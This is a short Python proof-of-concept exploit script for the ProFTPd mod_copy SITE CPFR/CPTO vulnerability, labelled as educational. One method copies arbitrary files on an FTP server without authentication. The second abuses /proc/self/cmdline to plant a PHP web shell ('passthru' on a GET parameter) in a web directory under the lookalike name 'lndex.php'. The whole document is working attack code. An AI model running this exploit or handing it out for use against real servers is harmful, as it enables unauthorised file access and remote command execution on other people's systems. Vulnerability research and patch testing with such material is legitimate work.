ProFTPd CPFR / CPTO Proof Of Concept

'''
*** for educational purpouse ONLY! ***

c0ded by daldana. (daniel.aldana.moreno ___at__ gmail.com)
please, first read https://github.com/chcx/cpx_proftpd/
'''


import sys
from ftplib import FTP 


def main(argv):


	if len(argv) == 4:
		ip = argv[1]
		src = argv[2]
		dst = argv[3]
		option = 1

	elif len(argv) == 3:
		ip = argv[1]
		dst = argv[2]
		option = 2

	else:
		print 'please check the readme file.-'
		sys.exit(2)

	try:		
		ftp = FTP(ip)

	except:
		print 'connection refused.-'
		sys.exit(2)


	if option == 1:

		print 'YOU ARE TRYING METHOD ONE:'

		cmd1 = 'SITE CPFR ' + src
		cmd2 = 'SITE CPTO ' + dst


		try:
			res1 = ftp.sendcmd(cmd1)
		except:
			print 'NO SUCH FILE :('
			sys.exit(2)	


		try:
			res2 = ftp.sendcmd(cmd2)
			print 'NICE! TRY NOW! :)'

		except:
			print 'YOU DON\'T HAVE PERMISSION :('
			sys.exit(2)

	
	if option == 2:
		print 'YOU ARE TRYING METHOD TWO:'
		cmd1 = 'SITE CPFR /proc/self/cmdline'
		cmd2 = 'SITE CPTO /tmp/...<?php passthru($_GET[\'img\']);?>'
		cmd3 = 'SITE CPFR /tmp/...<?php passthru($_GET[\'img\']);?>'
		cmd4 = 'SITE CPTO ' + dst + '/lndex.php'
		print 'UPLOADING in ' + dst + '/lndex.php'


		try:
			res1 = ftp.sendcmd(cmd1)
		except:
			print 'NO SUCH FILE OR PERMISSION FOR CMDLINE :('
			sys.exit(2)	


		try:
			res2 = ftp.sendcmd(cmd2)
		except:
			print 'YOU DON\'T HAVE PERMISSION :('
			sys.exit(2)

		try:
			res3 = ftp.sendcmd(cmd3)
			res4 = ftp.sendcmd(cmd4)
			print 'NICE! TRY NOW! :)'

		except:
			print 'PROBLEMS ;('





if __name__ == "__main__":
	main(sys.argv)